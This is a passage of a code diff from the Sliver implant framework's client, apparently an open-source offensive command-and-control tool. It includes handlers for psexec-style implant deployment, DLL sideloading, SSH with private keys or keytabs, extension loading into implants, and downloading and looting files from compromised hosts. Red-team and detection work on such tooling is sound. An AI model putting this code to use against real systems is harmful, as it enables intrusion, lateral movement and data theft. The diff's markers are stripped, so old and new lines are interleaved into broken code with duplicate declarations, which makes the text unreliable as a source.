fileBytes, err := os.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
filename := randomFileName()
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -174,28 +158,11 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomFileName() string {
noun, _ := codenames.RandomNoun()
noun = strings.ToLower(noun)
switch insecureRand.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
noun = strings.ToTitle(noun)
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
}
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[insecureRand.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
return string(b)
}
+21 -18
View File
@@ -21,6 +21,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -45,13 +46,11 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -63,9 +62,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
@@ -74,7 +70,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -82,27 +78,34 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
PrintSideload(sideload, hostname, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
PrintSideload(sideload, hostname, ctx, con)
}
}
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+22 -31
View File
@@ -1,27 +1,11 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -42,7 +26,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -64,7 +48,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -72,27 +56,34 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
PrintSpawnDll(spawndll, hostname, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
PrintSpawnDll(spawndll, hostname, ctx, con)
}
}
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+4 -38
View File
@@ -1,26 +1,8 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
@@ -49,9 +31,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
port := ctx.Flags.Uint("port")
privateKeyPath := ctx.Flags.String("private-key")
if privateKeyPath != "" {
privKey, err = os.ReadFile(privateKeyPath)
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -61,19 +43,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
kerberosRealm := ctx.Flags.String("kerberos-realm")
kerberosConfig := ctx.Flags.String("kerberos-config")
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
if kerberosRealm != "" && kerberosKeytabFile == "" {
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
return
}
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
@@ -90,9 +59,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+63 -76
View File
@@ -31,7 +31,6 @@ import (
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
@@ -39,13 +38,11 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
@@ -59,7 +56,6 @@ type ExtensionManifest struct {
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
@@ -117,7 +113,7 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
// ParseExtensions - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
@@ -173,9 +169,8 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Name: extCmd.CommandName,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -183,11 +178,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
return nil
},
Flags: func(f *grumble.Flags) {
// f.Bool("s", "save", false, "Save output to disk")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if 0 < len(extCmd.Arguments) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -195,15 +190,12 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "integer", "short":
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -220,33 +212,34 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.CommandName == extName {
if ext.Name == extName {
return nil
}
}
@@ -255,7 +248,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
@@ -265,17 +258,31 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if err != nil {
return err
}
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
@@ -288,10 +295,10 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
return nil
}
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := loadedExtensions[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
if err != nil {
return err
}
@@ -299,31 +306,23 @@ func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, c
if err != nil {
return err
}
return registerExtension(goos, depExt, depBinData, ctx, con)
return registerExtension(con, depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
@@ -331,15 +330,23 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
if err = loadExtension(ctx, session, con, ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
@@ -354,7 +361,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("BOF args error: %s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
extName = ext.DependsOn
@@ -366,11 +373,10 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
@@ -379,39 +385,22 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Call extension error: %s\n", err.Error())
con.PrintErrorf("%s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
con.Println()
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
@@ -426,8 +415,6 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
+2 -30
View File
@@ -27,7 +27,6 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -50,14 +49,10 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -79,39 +74,16 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
return
}
}
if ctx.Flags.Bool("colorize-output") {
+53 -144
View File
@@ -22,37 +22,46 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
recurse := ctx.Flags.Bool("recurse")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
@@ -67,160 +76,60 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleDownloadResponse(download, ctx, con)
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
HandleDownloadResponse(download, ctx, con)
PrintDownload(download, ctx, con)
}
}
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// PrintDownload - Print the download response, and save file to disk
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
+66 -22
View File
@@ -22,6 +22,7 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
@@ -44,6 +45,49 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurrence+1]
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
